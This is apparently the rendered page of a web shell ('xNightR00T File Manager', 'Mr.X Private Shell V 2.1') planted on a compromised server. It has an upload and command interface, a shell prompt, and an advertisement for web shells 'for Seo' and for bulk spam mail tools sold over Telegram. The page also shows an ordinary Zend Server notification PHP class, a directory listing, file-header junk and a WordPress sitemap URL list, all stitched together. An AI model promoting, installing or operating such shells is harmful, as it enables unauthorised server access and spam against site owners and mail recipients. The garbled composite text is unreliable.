xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Notifications;

class NotificationContainer
{
    // SEVERITY
    const SEVERITY_INFO                          = 0;
    const SEVERITY_WARNING                       = 1;
    const SEVERITY_ERROR                         = 2;
    // TYPE
    const TYPE_UNKNOWN                           = -1;
    const TYPE_SERVER_OFFLINE                    = 0;
    const TYPE_RESTART_REQUIRED                  = 1;
    const TYPE_DAEMON_OFFLINE                    = 2;
    const TYPE_PHP_EXT_DIRECTIVE_MISSMATCH       = 3;
    const TYPE_PHP_EXT_NOT_LOADED                = 4;
    const TYPE_PHP_EXT_NOT_INSTALLED             = 5;
    const TYPE_ZEND_EXT_DIRECTIVE_MISSMATCH      = 6;
    const TYPE_ZEND_EXT_NOT_LOADED               = 7;
    const TYPE_ZEND_EXT_NOT_INSTALLED            = 8;
    const TYPE_DEPLOYMENT_FAILURE                = 9;
    const TYPE_DEPLOYMENT_UPDATE_FAILURE         = 10;
    const TYPE_DEPLOYMENT_REDEPLOY_FAILURE       = 11;
    const TYPE_DEPLOYMENT_HEALTHCHECK_FAILURE    = 12;
    const TYPE_DEPLOYMENT_REMOVE_FAILURE         = 13;
    const TYPE_DEPLOYMENT_ROLLBACK_FAILURE       = 14;
    const TYPE_DEPLOYMENT_DEFINE_APP_FAILURE     = 15;
    const TYPE_SERVER_ADD_ERROR                  = 16;
    const TYPE_SERVER_REMOVE_ERROR               = 17;
    const TYPE_SERVER_ENABLE_ERROR               = 18;
    const TYPE_SERVER_DISABLE_ERROR              = 19;
    const TYPE_SERVER_FORCE_REMOVE_ERROR         = 20;
    const TYPE_JOBQUEUE_HIGH_CONCURRENCY         = 21;
    const TYPE_SERVER_RESTARTING                 = 22;
    const TYPE_SC_SESSION_HANDLER_FILES          = 23;
    const TYPE_SC_NO_BACKUP                      = 24;
    const TYPE_LICENSE_INVALID                   = 26;
    const TYPE_LICENSE_ABOUT_TO_EXPIRE           = 27;
    const TYPE_WEBSERVER_NOT_RESPONDING          = 28;
    const TYPE_MAX_SERVERS_IN_CLUSTER            = 29;
    const TYPE_LICENSE_ABOUT_TO_EXPIRE_45        = 30;
    const TYPE_LICENSE_ABOUT_TO_EXPIRE_15        = 31;
    const TYPE_DATABASE_CONNECTION_RESTORED      = 32;
    const TYPE_SCD_STDBY_MODE                    = 33;
    const TYPE_ZSD_OFFLINE                       = 34;
    const TYPE_SCD_ERROR                         = 35;
    const TYPE_MAIL_SETTINGS_NOT_SET             = 36;
    const TYPE_SCD_SHUTDOWN_ERROR                = 37;
    const TYPE_NO_SUPPORT                        = 38;
    const TYPE_LIBRARY_SET_DEFAULT_ERROR         = 39;
    const TYPE_LIBRARY_DEPLOY_ERROR              = 40;
    const TYPE_LIBRARY_REMOVE_ERROR              = 41;
    const TYPE_VHOST_MISSING                     = 42;
    const TYPE_VHOST_MODIFIED                    = 43;
    const TYPE_VHOST_CONFIG_FAILED               = 44;
    const TYPE_DAEMON_DEPLOYMENT_OFFLINE         = 50;
    const TYPE_DAEMON_MONITOR_OFFLINE            = 51;
    const TYPE_DAEMON_SESSION_CLUSTERING_OFFLINE = 52;
    const TYPE_DAEMON_JOBQUEUE_OFFLINE           = 53;
    const TYPE_DAEMON_JAVABRIDGE_OFFLINE         = 54;
    const TYPE_ROUTE_CAN_BE_DISABLED             = 55;
    const TYPE_ROUTE_CAN_BE_ENABLED              = 56;
    const TYPE_CODETRACING_WRITE_FAILED          = 57;
    const TYPE_DAEMON_STATSD_OFFLINE             = 58;
    //// internal types
    const TYPE_LICENSE_EXPIRES_TODAY             = -10;
    const TYPE_LICENSE_EXPIRES_TOMORROW          = -11;
    const TYPE_LIBRARY_UPDATE_AVAILABLE          = 500;
    const TYPE_PLUGIN_UPDATE_AVAILABLE           = 501;
    const TYPE_PLUGIN_BROKEN_DEPENDENCY          = 502;
    const TYPE_RSS_NEWS_AVAILABLE                = 600; // rss news occupied 600-610

    private $titles = array(
        self::TYPE_SERVER_OFFLINE => 'Offline server',
        self::TYPE_RESTART_REQUIRED => 'Restart required',
        self::TYPE_DAEMON_OFFLINE => 'Offline daemon',
        self::TYPE_PHP_EXT_DIRECTIVE_MISSMATCH => 'Mismatched extension directive',
        self::TYPE_PHP_EXT_NOT_LOADED => 'PHP extension not loaded',
        self::TYPE_PHP_EXT_NOT_INSTALLED => 'PHP extension not installed',
        self::TYPE_ZEND_EXT_DIRECTIVE_MISSMATCH => 'Mismatched component directive',
        self::TYPE_ZEND_EXT_NOT_LOADED => 'Component not loaded',
        self::TYPE_ZEND_EXT_NOT_INSTALLED => 'Component not installed',
        self::TYPE_DEPLOYMENT_FAILURE => 'Failed to deploy',
        self::TYPE_DEPLOYMENT_UPDATE_FAILURE => 'Failed to update',
        self::TYPE_DEPLOYMENT_REDEPLOY_FAILURE => 'Failed to redeploy',
        self::TYPE_DEPLOYMENT_HEALTHCHECK_FAILURE => 'Failed to health check',
        self::TYPE_DEPLOYMENT_REMOVE_FAILURE => 'Failed to remove',
        self::TYPE_DEPLOYMENT_ROLLBACK_FAILURE => 'Failed to rollback',
        self::TYPE_DEPLOYMENT_DEFINE_APP_FAILURE => 'Failed to define',
        self::TYPE_SERVER_ADD_ERROR => 'Failed to add server',
        self::TYPE_SERVER_REMOVE_ERROR => 'Failed to remove server',
        self::TYPE_SERVER_ENABLE_ERROR => 'Failed to enable server',
        self::TYPE_SERVER_DISABLE_ERROR => 'Failed to disable server',
        self::TYPE_SERVER_FORCE_REMOVE_ERROR => 'Failed to force remove server',
        self::TYPE_JOBQUEUE_HIGH_CONCURRENCY => 'Job Queue reached a high concurrency level',
        self::TYPE_SC_SESSION_HANDLER_FILES => 'Session Clustering is disabled',
        self::TYPE_SC_NO_BACKUP => 'Session Clustering failed to locate backup servers',
        self::TYPE_LICENSE_INVALID => 'Invalid license',
        self::TYPE_LICENSE_ABOUT_TO_EXPIRE => 'License is about to expire',
        self::TYPE_WEBSERVER_NOT_RESPONDING => 'Webserver is not responding',
        self::TYPE_MAX_SERVERS_IN_CLUSTER => 'You have reached the maximum amount of allowed servers for this license',
        self::TYPE_LICENSE_ABOUT_TO_EXPIRE_45 => 'License is about to expire',
        self::TYPE_LICENSE_ABOUT_TO_EXPIRE_15 => 'License is about to expire',
        self::TYPE_LICENSE_EXPIRES_TODAY => 'License is about to expire',
        self::TYPE_LICENSE_EXPIRES_TOMORROW => 'License is about to expire',
        self::TYPE_DATABASE_CONNECTION_RESTORED => 'Database Connection Restored',
        self::TYPE_SCD_STDBY_MODE => 'Sessions may not be tracked',
        self::TYPE_ZSD_OFFLINE => 'Zend server daemon offline',
        self::TYPE_MAIL_SETTINGS_NOT_SET => 'Mail server settings are needed',
        self::TYPE_NO_SUPPORT => 'Your license does not include support',
        self::TYPE_LIBRARY_UPDATE_AVAILABLE => 'Library update available',
        self::TYPE_PLUGIN_UPDATE_AVAILABLE => 'Plugin update available',
        self::TYPE_PLUGIN_BROKEN_DEPENDENCY => 'Broken plugin dependencies',
        self::TYPE_SCD_SHUTDOWN_ERROR => 'Graceful Shutdown failed',
        self::TYPE_LIBRARY_SET_DEFAULT_ERROR => 'Failed to update library default version',
        self::TYPE_LIBRARY_DEPLOY_ERROR => 'Failed to deploy library',
        self::TYPE_LIBRARY_REMOVE_ERROR => 'Failed to remove library',
        self::TYPE_VHOST_MISSING => 'Missing Vhost',
        self::TYPE_VHOST_MODIFIED => 'Modified Vhost',
        self::TYPE_VHOST_CONFIG_FAILED => 'Web server configuration error',
        self::TYPE_RSS_NEWS_AVAILABLE => '%s',
        self::TYPE_DAEMON_DEPLOYMENT_OFFLINE => 'Deployment daemon offline',
        self::TYPE_DAEMON_MONITOR_OFFLINE => 'Monitor daemon offline',
        self::TYPE_DAEMON_STATSD_OFFLINE => 'Stats daemon offline',
        self::TYPE_DAEMON_SESSION_CLUSTERING_OFFLINE => 'Session clustering daemon offline',
        self::TYPE_DAEMON_JOBQUEUE_OFFLINE => 'Jobqueue daemon offline',
        self::TYPE_DAEMON_JAVABRIDGE_OFFLINE => 'Java bridge daemon offline',
        self::TYPE_ROUTE_CAN_BE_DISABLED => 'Routing can be disabled',
        self::TYPE_ROUTE_CAN_BE_ENABLED => 'Routing can be enabled',
        self::TYPE_CODETRACING_WRITE_FAILED => 'Codetracing write failed',
    );

    /**
     * @var array
     */
    protected $notification;

    /**
     * @param array $eventsGroup
     */
    public function __construct(array $notification)
    {
        $this->notification = $notification;
        $this->setTitle($this->getType());
        $this->setUrl($this->getType());
    }

    public function toArray()
    {
        return $this->notification;
    }

    /**
     * @return integer
     */
    public function getId()
    {
        return isset($this->notification['ID']) ? (integer) $this->notification['ID'] : 0;
    }

    /**
     * @return integer
     */
    public function getSeverity()
    {
        return (integer) $this->notification['SEVERITY'];
    }

    /**
     * @return integer
     */
    public function getCreationTime()
    {
        return (integer) $this->notification['CREATION_TIME'];
    }

    /**
     * @return integer
     */
    public function getType()
    {
        return isset($this->notification['TYPE']) ? (integer) $this->notification['TYPE'] : 0;
    }

    /**
     * @return integer
     */
    public function getRepeats()
    {
        return (integer) $this->notification['REPEATS'];
    }

    public function getTitle()
    {
        return $this->notification['TITLE'];
    }

    public function getDescription()
    {
        return isset($this->notification['DESCRIPTION']) ? $this->notification['DESCRIPTION'] : '';
    }

    public function getUrl()
    {
        return $this->notification['URL'];
    }

    public function getName()
    {
        return $this->notification['NAME'];
    }

    public function getNodeId()
    {
        return $this->notification['NODE_ID'];
    }

    public function getExtraData()
    {
        if (isset($this->notification['EXTRA_DATA']) && $this->notification['EXTRA_DATA']) {

            $decodedObj = json_decode($this->notification['EXTRA_DATA'], true);
            if (!$decodedObj) {
                $decodedObj = $this->notification['EXTRA_DATA'];
            }
            // fixed #ZSR-175, to sure that ArrayToXml in getNotifications will get array
            if (!is_array($decodedObj)) {
                $decodedObj = array($decodedObj);
            }

            return $decodedObj;
        } else {
            return array();
        }
    }

    private function setTitle($type)
    {
        if ($type >= self::TYPE_RSS_NEWS_AVAILABLE && $type <= self::TYPE_RSS_NEWS_AVAILABLE + 10) {
            $type = self::TYPE_RSS_NEWS_AVAILABLE;
        }

        if (isset($this->titles[$type])) {
            $extraData = $this->getExtraData();
            if (isset($extraData['title'])) {
                $this->notification['TITLE'] = sprintf(_t($this->titles[$type], array($extraData['title'])));
            } else {
                $this->notification['TITLE'] = _t($this->titles[$type]);
            }
        } else {
            $this->notification['TITLE'] = '';
        }
    }

    private function setUrl($type)
    {
        switch ($type) {
            case (self::TYPE_DEPLOYMENT_FAILURE):
            case (self::TYPE_DEPLOYMENT_UPDATE_FAILURE):
            case (self::TYPE_DEPLOYMENT_REDEPLOY_FAILURE):
            case (self::TYPE_DEPLOYMENT_HEALTHCHECK_FAILURE):
            case (self::TYPE_DEPLOYMENT_REMOVE_FAILURE):
            case (self::TYPE_DEPLOYMENT_ROLLBACK_FAILURE):
            case (self::TYPE_DEPLOYMENT_DEFINE_APP_FAILURE):
                $this->notification['URL'] = '/#!/applications/deployment';
                break;
            case (self::TYPE_PLUGIN_UPDATE_AVAILABLE):
            case (self::TYPE_PLUGIN_BROKEN_DEPENDENCY):
                $this->notification['URL'] = '/#!/plugins/manage';
                break;
            case (self::TYPE_LIBRARY_UPDATE_AVAILABLE):
            case (self::TYPE_LIBRARY_SET_DEFAULT_ERROR):
            case (self::TYPE_LIBRARY_DEPLOY_ERROR):
            case (self::TYPE_LIBRARY_REMOVE_ERROR):
                $this->notification['URL'] = '/#!/applications/libraries';
                break;
            case (self::TYPE_VHOST_MISSING):
            case (self::TYPE_VHOST_MODIFIED):
                $this->notification['URL'] = '/#!/applications/vhost';
                break;
            case (self::TYPE_SERVER_ADD_ERROR):
            case (self::TYPE_SERVER_REMOVE_ERROR):
            case (self::TYPE_SERVER_ENABLE_ERROR):
            case (self::TYPE_SERVER_DISABLE_ERROR):
            case (self::TYPE_SERVER_FORCE_REMOVE_ERROR):
            case (self::TYPE_SERVER_OFFLINE):
            case (self::TYPE_PHP_EXT_DIRECTIVE_MISSMATCH):
            case (self::TYPE_ZSD_OFFLINE):
            case (self::TYPE_ZEND_EXT_DIRECTIVE_MISSMATCH):
                $this->notification['URL'] = '/#!/servers/manage';
                break;
            case (self::TYPE_PHP_EXT_NOT_LOADED):
            case (self::TYPE_PHP_EXT_NOT_INSTALLED):
                $this->notification['URL'] = '/#!/php/extensions';
                break;
            case (self::TYPE_SCD_STDBY_MODE):
                // there's no session clustering in IBMi
                if (\ZendServer\FS\FS::isAix()) {
                    $this->notification['URL'] = '';
                } else {
                    $this->notification['URL'] = '/#!/administration/components?grid=Zend--Session--Clustering';
                }
                break;
            case (self::TYPE_ZEND_EXT_NOT_LOADED):
            case (self::TYPE_ZEND_EXT_NOT_INSTALLED):
            case (self::TYPE_DAEMON_OFFLINE):
            case (self::TYPE_DAEMON_DEPLOYMENT_OFFLINE):
            case (self::TYPE_DAEMON_MONITOR_OFFLINE):
            case (self::TYPE_DAEMON_STATSD_OFFLINE):
            case (self::TYPE_DAEMON_SESSION_CLUSTERING_OFFLINE):
            case (self::TYPE_DAEMON_JOBQUEUE_OFFLINE):
            case (self::TYPE_DAEMON_JAVABRIDGE_OFFLINE):
            case (self::TYPE_SCD_SHUTDOWN_ERROR):
                $this->notification['URL'] = '/#!/administration/components';
                break;
            case (self::TYPE_JOBQUEUE_HIGH_CONCURRENCY):
                $this->notification['URL'] = '/#!/administration/components?search=zend_jobqueue.max_http_jobs&daemon-tab=1';
                break;
            case (self::TYPE_SC_SESSION_HANDLER_FILES):
                $this->notification['URL'] = '/#!/servers/session-clustering';
                break;
            case (self::TYPE_MAX_SERVERS_IN_CLUSTER):
            case (self::TYPE_LICENSE_INVALID):
            case (self::TYPE_LICENSE_ABOUT_TO_EXPIRE):
            case (self::TYPE_LICENSE_ABOUT_TO_EXPIRE_45):
            case (self::TYPE_LICENSE_ABOUT_TO_EXPIRE_15):
            case (self::TYPE_NO_SUPPORT):
                $this->notification['URL'] = '/#!/administration/license';
                break;
            case (self::TYPE_MAIL_SETTINGS_NOT_SET):
                $this->notification['URL'] = '/#!/administration/settings/mail-settings';
                break;
            case (self::TYPE_VHOST_CONFIG_FAILED):
                $this->notification['URL'] = '/#!/applications/vhost';
                break;
            case (self::TYPE_ROUTE_CAN_BE_DISABLED):
            case (self::TYPE_ROUTE_CAN_BE_ENABLED):
                $this->notification['URL'] = '/#!/monitoring/settings/general';
                break;
            default:
                $this->notification['URL'] = '';
                break;
        }
    }
}

Filemanager

Name Type Size Permission Actions
Controller Folder 0755
Db Folder 0755
View Folder 0755
NotificationActionContainer.php File 928 B 0644
NotificationContainer.php File 14.84 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml